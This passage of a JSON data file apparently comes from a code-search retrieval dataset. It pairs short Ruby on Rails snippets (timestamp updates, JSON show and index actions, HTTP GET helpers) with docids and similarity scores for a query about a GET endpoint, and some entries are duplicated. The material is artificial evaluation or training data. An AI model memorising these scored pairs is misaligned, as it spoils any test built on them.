"docid": "f71d9aa3e2318228d7e3bd59aa3451b3",
"score": "0.5816348",
"text": "def set_default_last_seen\n self.last_seen = created_at || Time.current\n end",
"title": ""
},
{
"docid": "382a01aa9b6cd20a05cb68b6cd9a7226",
"score": "0.5812487",
"text": "def last_visited\n\t Deck.find(params[:id]).update_attribute(:last_visited, DateTime.now)\n\tend",
"title": ""
},
{
"docid": "166045e11370af552a20fb505a18c298",
"score": "0.5809793",
"text": "def touch_refresh_feed_job_states\n user.update refresh_feed_jobs_updated_at: Time.zone.now if user.present?\n end",
"title": ""
},
{
"docid": "c16eddbb5ac0c8ad888e89b22025bbdc",
"score": "0.5794275",
"text": "def after_update(user)\n expire_cache_for(user)\n end",
"title": ""
},
{
"docid": "07b886ee9f3420c7522c85ec2a9c2c4a",
"score": "0.57928056",
"text": "def update_last_seen\n m = conversation.conversation_members.where(user_id: sender_id).take\n m.update_column(:last_seen, Time.current) if m\n conversation.conversation_members.where.not(user_id: sender_id).pluck(:user_id).each do |_id| # update total unread cache for all members\n Rails.cache.delete(\"user-unread_messages_count-#{_id}\")\n end\n end",
"title": ""
},
{
"docid": "8e3fed183e72874224946113e4783753",
"score": "0.5791565",
"text": "def get_last_seen\n last_seen = last_seen_at\n last_seen = current_sign_in_at if last_seen.blank?\n last_seen = last_sign_in_at if last_seen.blank?\n last_seen\n end",
"title": ""
},
{
"docid": "53256a24c8955999974742775a8a48ad",
"score": "0.57909256",
"text": "def update_tcs\n @user = current_user\n end",
"title": ""
},
{
"docid": "e8250a9f4223c73e4624ff574d652c50",
"score": "0.5788515",
"text": "def last_updated_time\n data[:last_updated_time]\n end",
"title": ""
},
{
"docid": "3d73d747eca4fcf1eb9910d7f1ea7456",
"score": "0.5785082",
"text": "def updated\n DateTime.parse(@json['user']['meta']['updated'])\n end",
"title": ""
},
{
"docid": "e33a77db66aa5d5f0163bd7ff7efb491",
"score": "0.5763633",
"text": "def current_activity\n if self.entry_type == 'activity'\n self\n else\n self.user.tap_log_records.where('timestamp < ? AND entry_type = ?', self.timestamp, 'activity').order('timestamp desc').limit(1).first\n end\n end",
"title": ""
},
{
"docid": "ce5fa97aabad48d88278011a37a63d4b",
"score": "0.5763412",
"text": "def show\n if current_user\n @last_posted_at = Time.current\n end\n end",
"title": ""
},
{
"docid": "c80f297f6e00810e97d336478a75a581",
"score": "0.5747095",
"text": "def last_seen_at() ; info_time(:last_seen) ; end",
"title": ""
},
{
"docid": "b3b69951ca7175a69add84154da55614",
"score": "0.5740934",
"text": "def user_session_update sid = \"\", uid = 0\n\t\tds = Sdb[:user_sess].filter(:sid => sid, :uid => uid.to_i)\n\t\tds.update(:changed => Time.now) if ds.count > 0\n\tend",
"title": ""
},
{
"docid": "2c726433cc00b54b86e472e6e2a9b031",
"score": "0.574087",
"text": "def check_last_activity(updated_at)\n return true if @opts[:last_activity].nil?\n\n last_activity_time = updated_at + @opts[:last_activity] * DAY\n\n last_activity_time < Time.now\n end",
"title": ""
},
{
"docid": "e31cf0a22d3884a858e01ec3290590e2",
"score": "0.5733425",
"text": "def log_access(user)\n if @access_log_field\n eval(\"user.#{@access_log_field} = Time.now\")\n user.save\n end\n end",
"title": ""
},
{
"docid": "2ce31f7956c56263cf4aa50d0a0bba35",
"score": "0.57318336",
"text": "def refresh_time\n self.update_column( :expires, Time.zone.now + TOKEN_LIFE )\n end",
"title": ""
},
{
"docid": "d27970e726fb9131cc66882f20812a88",
"score": "0.57299674",
"text": "def create\n Activity.for_user(current_user).active.each do |a|\n a.end = Time.now\n a.save\n end\n\n @activity = Activity.new(params.permit(:description))\n @activity.user = current_user\n @activity.start = Time.now\n @activity.save!\n\n render json: @activity\n end",
"title": ""
},
{
"docid": "b468e91dd2537fffb7a8ae82d06d6984",
"score": "0.57274",
"text": "def last_minute_activity\n self[:last_min_activity]\n end",
"title": ""
},
{
"docid": "b7f5fc94c48eb4bbda97e9cfab720c21",
"score": "0.5723769",
"text": "def ping\n current_user.update_column(:last_action_at, Time.now) if current_user\n render :nothing => true, :status => 204\n end",
"title": ""
},
{
"docid": "6ff31d2dbad3a711979521053ba4eaa8",
"score": "0.5722851",
"text": "def active_time\n (active?) ? (Time.now - @created_at) : (@finished_at - @created_at)\n end",
"title": ""
},
{
"docid": "d691ada2d4219eed83afaff1cf28c054",
"score": "0.571845",
"text": "def set_update_time!(time = last_modified_date)\n set_update_time(time)\n # disable_ferret\n save\n return last_updated__c\n end",
"title": ""
},
{
"docid": "f4bd25c61a420ccaabccaec21a2a9ba1",
"score": "0.571647",
"text": "def update_current_user(user)\n @current_user = user if user\n end",
"title": ""
},
{
"docid": "5dae52c5ae22b998a9bdfbce722d8723",
"score": "0.5708573",
"text": "def update_expires_at\n self.expires_at = if attachable\n nil\n else\n 1.day.from_now\n end\n end",
"title": ""
},
{
"docid": "a36848d4c1da5c2eaeeaac0ccee42000",
"score": "0.56999934",
"text": "def last_update_date_time\n return @last_update_date_time\n end",
"title": ""
},
{
"docid": "a36848d4c1da5c2eaeeaac0ccee42000",
"score": "0.56999934",
"text": "def last_update_date_time\n return @last_update_date_time\n end",
"title": ""
},
{
"docid": "a36848d4c1da5c2eaeeaac0ccee42000",
"score": "0.56999934",
"text": "def last_update_date_time\n return @last_update_date_time\n end",
"title": ""
},
{
"docid": "a36848d4c1da5c2eaeeaac0ccee42000",
"score": "0.56999934",
"text": "def last_update_date_time\n return @last_update_date_time\n end",
"title": ""
},
{
"docid": "60ca08d5b62b7430bda8c915ea708773",
"score": "0.56994385",
"text": "def last_seen_date_time\n return @last_seen_date_time\n end",
"title": ""
},
{
"docid": "60ca08d5b62b7430bda8c915ea708773",
"score": "0.56994385",
"text": "def last_seen_date_time\n return @last_seen_date_time\n end",
"title": ""
}
] |
e169f7c98c1bbff08759904db65fb154
|
GET /mycelia/1 GET /mycelia/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "764a35b8c40e94081ae31d4ae4fab03d",
"score": "0.6469224",
"text": "def show\n @cavale = Cavale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cavale }\n end\n end",
"title": ""
},
{
"docid": "94b5e6a94e2c7223a8dd3848c5343b2b",
"score": "0.63740444",
"text": "def show\n @colmeia = Colmeia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colmeia }\n end\n end",
"title": ""
},
{
"docid": "88b728d2503b5a16f0ad950f4bc798f5",
"score": "0.6370639",
"text": "def index\n @mycelia = Mycelium.all\n end",
"title": ""
},
{
"docid": "bdefe4591b580a3f2685313f424e8849",
"score": "0.63554335",
"text": "def show\n @cota = Cota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cota }\n end\n end",
"title": ""
},
{
"docid": "5b962db9e9992efc13cdaf058c33a0a8",
"score": "0.6334204",
"text": "def show\n @loco = Loco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loco }\n end\n end",
"title": ""
},
{
"docid": "09a51e21661ccaa64e76f94417197c5e",
"score": "0.62965566",
"text": "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cita }\n end\n end",
"title": ""
},
{
"docid": "7e5cebd38f1e43511be0fdf51b628eb5",
"score": "0.629163",
"text": "def show\n @clinica = Clinica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinica }\n end\n end",
"title": ""
},
{
"docid": "698e76ecf3ab6894b52057c0d7d9654f",
"score": "0.6261292",
"text": "def show\n @myce = Myce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myce }\n end\n end",
"title": ""
},
{
"docid": "95d26f3b05c2bc8116d5e04ff67be02a",
"score": "0.6239985",
"text": "def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end",
"title": ""
},
{
"docid": "3d573ab03483a36dfdedd2e11d152c2a",
"score": "0.622104",
"text": "def index\n @laudus = HTTParty.get('https://jsonplaceholder.typicode.com/posts/1/comments',\n :headers =>{'Content-Type' => 'application/json'} )\n end",
"title": ""
},
{
"docid": "c8b71378ae8979d6a5344a294d5b038b",
"score": "0.62066895",
"text": "def show\n @acerca = Acerca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acerca }\n end\n end",
"title": ""
},
{
"docid": "d0936d42116b9d55615e0ad36ffb14b9",
"score": "0.6196203",
"text": "def show\n json_response @escola\n end",
"title": ""
},
{
"docid": "bf89c01819c5ecab0fe25714c22f3dd1",
"score": "0.61815727",
"text": "def charcuterie\n @produits = Produit.find_all_by_id_cat (2)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "3414f1c63db4e4aa38ba8270f383f0ff",
"score": "0.61795783",
"text": "def index\n @lacs = Lac.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lacs }\n end\n end",
"title": ""
},
{
"docid": "11a16bce83985e66f954ae1b23d04d0b",
"score": "0.61759716",
"text": "def index\n @caixas = Caixa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @caixas }\n end\n end",
"title": ""
},
{
"docid": "0b22ec613950b33242ca48c34b3b88d0",
"score": "0.61584663",
"text": "def show\n @charla = Charla.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @charla }\n end\n end",
"title": ""
},
{
"docid": "e3210d193bafa63fa02a3ca4cf908d2b",
"score": "0.61244124",
"text": "def index\n @cotas = Cota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cotas }\n end\n end",
"title": ""
},
{
"docid": "737edcda74919292b1ec1c6c85026559",
"score": "0.6116074",
"text": "def index\n @cie10s = Cie10.all\n\n respond_to do |format|\n format.json { render :json => @cie10s }\n end\n\n end",
"title": ""
},
{
"docid": "612a4e8b8e70c8ba28d76698a1895f88",
"score": "0.61081606",
"text": "def show\n @caffe = Caffe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caffe }\n end\n end",
"title": ""
},
{
"docid": "dce8653c483399087bc79f49fa38bf32",
"score": "0.6093064",
"text": "def show\n @caffeine = Caffeine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caffeine }\n end\n end",
"title": ""
},
{
"docid": "a2f6177497879be2a892cab57b057039",
"score": "0.6090558",
"text": "def index\n @lieus = Lieu.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lieus }\n end\n end",
"title": ""
},
{
"docid": "59b2666c346208d77b451fb010539d71",
"score": "0.6079767",
"text": "def show\n @clientetipo = Clientetipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientetipo }\n end\n end",
"title": ""
},
{
"docid": "951cf34f22536b0a5ecab664be864b9c",
"score": "0.6061247",
"text": "def show\n @catalogo = Catalogo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @catalogo }\n end\n end",
"title": ""
},
{
"docid": "951cf34f22536b0a5ecab664be864b9c",
"score": "0.6061247",
"text": "def show\n @catalogo = Catalogo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @catalogo }\n end\n end",
"title": ""
},
{
"docid": "2860bcdd53d598ef6b4e9a516fd93102",
"score": "0.605449",
"text": "def get(path)\n uri = URI(\"http://localhost:3000#{path}\")\n res = Net::HTTP.get(uri)\n JSON.parse(res)\nend",
"title": ""
},
{
"docid": "ceddc5168d1ab9c60df503be822be9fd",
"score": "0.6053732",
"text": "def show\n @cuna = Cuna.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuna }\n end\n end",
"title": ""
},
{
"docid": "2de43c0fc35a52ab963ee6e3f0cb954b",
"score": "0.6053353",
"text": "def show\n @comune = Comune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comune }\n end\n end",
"title": ""
},
{
"docid": "30bdd9412ef2949d9d77bbe390686f65",
"score": "0.6042702",
"text": "def index\n @cites = Cite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cites }\n end\n end",
"title": ""
},
{
"docid": "4e6cbffd90f5b4aa338fba33c6b530b4",
"score": "0.6033382",
"text": "def show\n @cadena = Cadena.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cadena }\n end\n end",
"title": ""
},
{
"docid": "1ad0d7f998b74701f98eae6bda4fa0e1",
"score": "0.60294354",
"text": "def index\n\n # @celebs = Celeb.page params[:page]\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @celebs }\n #end\n end",
"title": ""
},
{
"docid": "0ed5e8a86ecc74f7254ce00e02ca5415",
"score": "0.6023572",
"text": "def show\n @lei = Lei.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lei }\n end\n end",
"title": ""
},
{
"docid": "84b9c670445fa61d99bd892b674959b5",
"score": "0.6022775",
"text": "def get\n response = ApiPago.get_factura(params[:id_factura])\n render json: response\n end",
"title": ""
},
{
"docid": "8842bd9bc7cc568bb83cfa3f3d5c3822",
"score": "0.60216403",
"text": "def index\n @correntista = Correntistum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @correntista }\n end\n end",
"title": ""
},
{
"docid": "51f8aacc0ff75d6571c5f2b52e4a0d11",
"score": "0.6020612",
"text": "def show\n @lac = Lac.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lac }\n end\n end",
"title": ""
},
{
"docid": "ac457af0bdec561350a4073035b1ac04",
"score": "0.6014606",
"text": "def show\n @chapa = {}\n @eleicao_chapa = Eleicao::Chapa.find(params[:id])\n @chapa = criar_chapa(@eleicao_chapa)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chapa }\n end\n end",
"title": ""
},
{
"docid": "1b86caab697b8b0f552d3a1ad0dabe29",
"score": "0.6005057",
"text": "def index\n @codigos = Codigo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @codigos }\n end\n end",
"title": ""
},
{
"docid": "fee26d1f575073facd95e48e0c038ca1",
"score": "0.60045254",
"text": "def get(path)\n # FAKING RESPONSE\n [{ id: 1, name: 'Jane' }, { id: 2, name: 'John' }].to_json\n end",
"title": ""
},
{
"docid": "64e83cdcbefc85f63d1b891f8217e353",
"score": "0.5993261",
"text": "def index\n @excos = Exco.current.by_course_number\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @excos }\n end\n end",
"title": ""
},
{
"docid": "a5f66210768a85a46ce7d453ed2475cb",
"score": "0.598341",
"text": "def show\n @lectivo = Lectivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lectivo }\n end\n end",
"title": ""
},
{
"docid": "9fcf3b534ec4f13fe20dad3a069b646d",
"score": "0.5981092",
"text": "def index\n @chapitres = Chapitre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chapitres }\n end\n end",
"title": ""
},
{
"docid": "866cee8f3e1023d9edf6993ead81829f",
"score": "0.59798044",
"text": "def show\n @catogiry = Catogiry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @catogiry }\n end\n end",
"title": ""
},
{
"docid": "7ecdd5960879b6a7266eecebea40819b",
"score": "0.5977275",
"text": "def index\n @iacs = Iac.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @iacs }\n end\n end",
"title": ""
},
{
"docid": "766bbd1e6cd9047fac0bdf3bec54c612",
"score": "0.5969776",
"text": "def fromage\n @produits = Produit.find_all_by_id_cat (1)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "a5be4187b46c3f61db1692674e058dfb",
"score": "0.59639627",
"text": "def show\n @taco = Taco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taco }\n end\n end",
"title": ""
},
{
"docid": "07a022d6569bcc678b057e3fe4d6497f",
"score": "0.59600335",
"text": "def show\n @ciudade = Ciudade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ciudade }\n end\n end",
"title": ""
},
{
"docid": "fc7bc2577decb95c50b312279039b90f",
"score": "0.5956674",
"text": "def show\n @chocolatier = Chocolatier.find(params[:id])\n @chocolates = Chocolate.find_all_by_chocolatier_id(@chocolatier.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chocolatier }\n end\n end",
"title": ""
},
{
"docid": "33f0fd4af51aa3ae87dada22c67df8ee",
"score": "0.5955967",
"text": "def index\n\t\tquery = params[:name]\n \t@clients = Client.ci_where('name', query)\n \trender json: @clients\n end",
"title": ""
},
{
"docid": "121d477554ed2da5933060722f113c9f",
"score": "0.5942363",
"text": "def index\n @casos = Caso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @casos }\n end\n end",
"title": ""
},
{
"docid": "5dddd50ecc498e4feca02390506669f0",
"score": "0.5938966",
"text": "def get(idcia, idbranch, idnf, idserie)\n self.class.get(\"/aldebaran-invoices/invoices/#{idcia}/#{idbranch}/#{idnf}/#{idserie}\", :basic_auth => @auth)\n end",
"title": ""
},
{
"docid": "ec0f1c892cb0336e9a00d9e29f0f3a0f",
"score": "0.59370345",
"text": "def get(path)\n begin\n response = client[path].get :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "114040945e26db02c7671ebbf818c892",
"score": "0.593544",
"text": "def index\n @categoria_cotas = CategoriaCota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categoria_cotas }\n end\n end",
"title": ""
},
{
"docid": "9c0f08a8c015e393841182f4f45dbd0c",
"score": "0.5926716",
"text": "def show\r\n @cathedra = Cathedra.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @cathedra }\r\n end\r\n end",
"title": ""
},
{
"docid": "e655dae34c0b7b8a0ece77104c330cf9",
"score": "0.59232986",
"text": "def show\n @conta = Conta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conta }\n end\n end",
"title": ""
},
{
"docid": "553de7ba39755d4dda912801b95dd961",
"score": "0.59212255",
"text": "def info\n CouchRest.get \"#{@uri}/\"\n end",
"title": ""
},
{
"docid": "229e90929026a813fe6f7a130e3f67cf",
"score": "0.5920633",
"text": "def index\n @convos = Convo.all\n render json: @convos\n end",
"title": ""
},
{
"docid": "a7ac5b30e67d43ef7fa08d263ffb900e",
"score": "0.59105164",
"text": "def show\n @celeb = Celeb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @celeb }\n end\n end",
"title": ""
},
{
"docid": "f85778e1b4c092b9cf34b6bde81071c2",
"score": "0.59085757",
"text": "def index\n @ais = Ai.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ais }\n end\n end",
"title": ""
},
{
"docid": "756c3941b6f9ddd32e4e352296f34e28",
"score": "0.5907787",
"text": "def show\n @comuna = Comuna.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comuna }\n end\n end",
"title": ""
},
{
"docid": "210f5d67203e90c5ba90231800ff7c68",
"score": "0.5907027",
"text": "def show\n @cursoacademico = Cursoacademico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cursoacademico }\n end\n end",
"title": ""
},
{
"docid": "d144515f40616fcd4071bc6074af11d5",
"score": "0.5905229",
"text": "def index\n @clientes = Cliente.all\n render json: @clientes\n end",
"title": ""
},
{
"docid": "2edc7867bdfeb1f39d766edd7356658f",
"score": "0.5902214",
"text": "def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end",
"title": ""
},
{
"docid": "df2e4f12f2f5276932ad298c0cd3ae66",
"score": "0.58946127",
"text": "def show\n @commune = Commune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commune }\n end\n end",
"title": ""
},
{
"docid": "d90e26faf8d986109cb57a31acabc869",
"score": "0.5892813",
"text": "def show\n @catogary = Catogary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @catogary }\n end\n end",
"title": ""
},
{
"docid": "c019514688050937d9bd66c9eae292a7",
"score": "0.5888217",
"text": "def index\n @clientes = Cliente.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clientes }\n end\n end",
"title": ""
},
{
"docid": "b99517d87d050c38234332fa894b65e8",
"score": "0.5886963",
"text": "def show\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cotacao }\n end\n end",
"title": ""
},
{
"docid": "b99517d87d050c38234332fa894b65e8",
"score": "0.5886963",
"text": "def show\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cotacao }\n end\n end",
"title": ""
},
{
"docid": "626f145ce1e1dc68ad629a3933e3c06f",
"score": "0.588653",
"text": "def show\n @prepaconcoursecole = Prepaconcoursecole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prepaconcoursecole }\n end\n end",
"title": ""
},
{
"docid": "a2fa564d8e917a978063ffb253e8b2e7",
"score": "0.58807665",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "a2fa564d8e917a978063ffb253e8b2e7",
"score": "0.58807665",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "2bbc53128cf1b47ca4b888f0ce4037ab",
"score": "0.58778507",
"text": "def show\n @claass = Claass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @claass }\n end\n end",
"title": ""
},
{
"docid": "9cc49bfad08f3bdf6353af9ebaf64c80",
"score": "0.58657837",
"text": "def show\n @cuba = Cuba.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuba }\n end\n end",
"title": ""
},
{
"docid": "8e1abd1795c29bc436d5ced01a91a98d",
"score": "0.58654016",
"text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\nend",
"title": ""
},
{
"docid": "0a1cba2ae963f1eb86fe11cc9cf44408",
"score": "0.58650416",
"text": "def get_enterprise\n empresa = Enterprise.find(params[:idEmpresa].to_i)\n\n respond_to do |format|\n format.json {render json: empresa}\n end \n \n end",
"title": ""
},
{
"docid": "19795a7d70307b6082d903431a18cb44",
"score": "0.5863956",
"text": "def index\n @cursoacademicos = Cursoacademico.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursoacademicos }\n end\n end",
"title": ""
},
{
"docid": "38f086a9ec89fcdfdfc9a88fa18fe709",
"score": "0.5862914",
"text": "def index\n\t\tcuisines = Cuisine.all\n\t render json: cuisines\n\tend",
"title": ""
},
{
"docid": "047d5f6e5813fc3d0efef82efd390934",
"score": "0.5856783",
"text": "def show\n @biblioteca = Biblioteca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @biblioteca }\n end\n end",
"title": ""
},
{
"docid": "1f151dd67fc6570c5ef25c8d507e5ca4",
"score": "0.58561814",
"text": "def show\n @curriculo = Curriculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @curriculo }\n end\n end",
"title": ""
},
{
"docid": "831ef5124fa20c193f09da74a497d8ab",
"score": "0.58527964",
"text": "def show\n @compra = Compra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compra }\n end\n end",
"title": ""
},
{
"docid": "711604a466e95f32ec5f53a6e10b5384",
"score": "0.5851527",
"text": "def show\n @comida = Comida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comida }\n end\n end",
"title": ""
},
{
"docid": "34d27023512f7f54b6f6393f2af8cd81",
"score": "0.5850973",
"text": "def show\n @anagrafica = Anagrafica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anagrafica }\n end\n end",
"title": ""
},
{
"docid": "1bacb7664dab775385804e9e3b9adb4c",
"score": "0.58505404",
"text": "def show\n @caso = Caso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caso }\n end\n end",
"title": ""
},
{
"docid": "0c9b1c586ac5ff97c0b2bf3de863ebe7",
"score": "0.5849818",
"text": "def show\n @folha_ciclo = FolhaCiclo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @folha_ciclo }\n end\n end",
"title": ""
},
{
"docid": "3b14da2700c7434c122273a9a49ef810",
"score": "0.5849815",
"text": "def show\n @categoria_cota = CategoriaCota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categoria_cota }\n end\n end",
"title": ""
},
{
"docid": "573795645edc4c1b3c72bd258de205f5",
"score": "0.58475614",
"text": "def show\n @cago = Cago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cago }\n end\n end",
"title": ""
},
{
"docid": "44aaa064e5160be41246e83406118acc",
"score": "0.58427393",
"text": "def show\n @acerca_cliente = AcercaCliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acerca_cliente }\n end\n end",
"title": ""
},
{
"docid": "1a6d140526eb2e9e0928db0fd325a120",
"score": "0.58409494",
"text": "def show\n @crime = Crime.find(params[:id])\n\n render json: @crime\n end",
"title": ""
},
{
"docid": "85d06e3efe03338aab3885f4fb9ddda2",
"score": "0.58406806",
"text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n # puts \"🤖 GET #{path}\"\n # puts \"HTTP #{response.code}\"\n # puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "fd785afa7bf428915197ff6cd07dba99",
"score": "0.584047",
"text": "def show\n @coral = Coral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coral }\n end\n end",
"title": ""
},
{
"docid": "f4708177efa749eda92487f453ce98e5",
"score": "0.58400744",
"text": "def show\n @clase = Clase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clase }\n end\n end",
"title": ""
},
{
"docid": "c9f1a7881cd0392ba7b00ea607e6a06b",
"score": "0.5839803",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "c9f1a7881cd0392ba7b00ea607e6a06b",
"score": "0.5839803",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "c9f1a7881cd0392ba7b00ea607e6a06b",
"score": "0.5839803",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "067d964390544cb27a7ffe683422ca76",
"score": "0.58357465",
"text": "def show\n @cafetine = Cafetine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cafetine }\n end\n end",
"title": ""
},
{
"docid": "8e8fccfa1de91b21649883246b0e8ba9",
"score": "0.5834574",
"text": "def get_detail\n render :json => ClientCertification.find(params[:id])\n end",
"title": ""
},
{
"docid": "e6ab9ae3380322122c611ba24ecd51c6",
"score": "0.58317316",
"text": "def loads\n @food = Food.all\n respond_to do |format|\n format.json {render json: {\"hola\" => \"juan\"}, status: :ok}\n end\n end",
"title": ""
},
{
"docid": "316a5a2e07d32033a0a2fd2092597649",
"score": "0.5831674",
"text": "def show\n @idioma = Idioma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idioma }\n end\n end",
"title": ""
},
{
"docid": "be88404a447aa8db8a90034009db3d43",
"score": "0.5831",
"text": "def show\n @aula = Aula.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aula }\n end\n end",
"title": ""
},
{
"docid": "2c0b46574abfee6b859c95720c58e538",
"score": "0.5825089",
"text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "2c0b46574abfee6b859c95720c58e538",
"score": "0.5825089",
"text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "e5a87350040374e22137da63312908bc",
"score": "0.5824838",
